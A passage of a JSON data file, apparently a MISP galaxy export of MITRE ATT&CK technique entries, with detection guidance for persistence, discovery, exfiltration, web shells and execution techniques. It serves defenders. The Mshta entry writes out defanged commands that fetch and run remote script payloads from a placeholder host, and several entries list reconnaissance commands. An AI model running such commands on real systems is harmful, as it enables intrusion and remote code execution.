process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem Requirements: Secure boot disabled on systems running Windows 8 and later", - "value": "AppInit DLLs - T1103", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1103", - "https://support.microsoft.com/en-us/kb/197571", - "https://msdn.microsoft.com/en-us/library/dn280412", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" - ], - "mitre_data_sources": [ - "Loaded DLLs", - "Process monitoring", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41" - }, - { - "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nRequires Network: Yes", - "value": "Standard Non-Application Layer Protocol - T1095", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1095", - "http://support.microsoft.com/KB/170292", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b" - }, - { - "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)\n\nPlatforms: Windows\n\nData Sources: Process monitoring, DLL monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: netsh\n\nContributors: Matthew Demaske, Adaptforward", - "value": "Netsh Helper DLL - T1128", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1128", - "https://technet.microsoft.com/library/bb490939.aspx", - "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html", - "https://github.com/outflankbv/NetshHelperBeacon" - ], - "mitre_data_sources": [ - "Process monitoring", - "DLL monitoring", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2" - }, - { - "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, API monitoring, Windows event logs, Packet capture\n\nPermissions Required: Administrator", - "value": "Account Manipulation - T1098", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1098", - "https://docs.microsoft.com/windows/device-security/auditing/event-4738", - "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", - "https://github.com/gentilkiwi/mimikatz/issues/92" - ], - "mitre_data_sources": [ - "Authentication logs", - "API monitoring", - "Windows event logs", - "Packet capture" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27" - }, - { - "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: macOS\n\nPermissions Required: User", - "value": "Re-opened Applications - T1164", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1164", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300" - }, - { - "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n===Windows===\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM", - "value": "Remote System Discovery - T1018", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1018" - ], - "mitre_data_sources": [ - "Network protocol analysis", - "Process command-line parameters", - "Process monitoring", - "Process use of network" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735" - }, - { - "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are net group /domain and net localgroup using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User", - "value": "Permission Groups Discovery - T1069", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1069" - ], - "mitre_data_sources": [ - "API monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ] - }, - "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce" - }, - { - "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson", - "value": "File Deletion - T1107", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1107", - "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" - ], - "mitre_data_sources": [ - "Binary file metadata", - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ] - }, - "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59" - }, - { - "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n===Unquoted Paths===\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program.\n\n===PATH Environment Variable Misconfiguration===\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n===Search Order Hijacking===\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak", - "value": "Path Interception - T1034", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1034", - "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/", - "http://support.microsoft.com/KB/103000", - "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", - "http://msdn.microsoft.com/en-us/library/ms682425", - "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120", - "http://msdn.microsoft.com/en-us/library/ms687393", - "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02" - }, - { - "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Linux, Windows\n\nData Sources: API monitoring, MBR, VBR\n\nPermissions Required: Administrator, SYSTEM", - "value": "Bootkit - T1067", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1067", - "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion", - "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf" - ], - "mitre_data_sources": [ - "API monitoring", - "MBR", - "VBR" - ], - "mitre_platforms": [ - "Linux", - "Windows" - ] - }, - "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d" - }, - { - "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems", - "value": "Indicator Removal on Host - T1070", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1070" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "799ace7f-e227-4411-baa0-8868704f2a69" - }, - { - "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach", - "value": "Exfiltration Over Other Network Medium - T1011", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1011" - ], - "mitre_data_sources": [ - "User interface", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87" - }, - { - "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access certain files and directories", - "value": "Data from Local System - T1005", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1005" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5" - }, - { - "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow\n\nEffective Permissions: User, SYSTEM\n\nSystem Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.", - "value": "Web Shell - T1100", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1100", - "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", - "https://www.us-cert.gov/ncas/alerts/TA15-314A" - ], - "mitre_data_sources": [ - "Anti-virus", - "File monitoring", - "Process monitoring", - "Authentication logs", - "Netflow/Enclave netflow" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df" - }, - { - "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path is changed to a location that is not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify a service binPath/ImagePath value in the Registry\n\nContributors: Travis Smith, Tripwire", - "value": "Service Registry Permissions Weakness - T1058", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1058", - "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Services", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427" - }, - { - "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)\n\nDetection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint Min Thu Htut, @yeyint_mth", - "value": "Mshta - T1170", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1170", - "https://en.wikipedia.org/wiki/HTML%20Application", - "https://msdn.microsoft.com/library/ms536471.aspx", - "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf", - "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/", - "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec" - }, - { - "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account.", - "value": "Windows Admin Shares - T1077", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1077", - "https://en.wikipedia.org/wiki/Server%20Message%20Block", - "https://technet.microsoft.com/en-us/library/cc787851.aspx", - "http://support.microsoft.com/kb/314984", - "https://technet.microsoft.com/bb490717.aspx", - "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx", - "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx" - ], - "mitre_data_sources": [ - "Process use of network", - "Authentication logs", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "ffe742ed-9100-4686-9e00-c331da544787" - }, - { - "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM", - "value": "Winlogon Helper DLL - T1004", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1004", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79" - }, - { - "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nEffective Permissions: 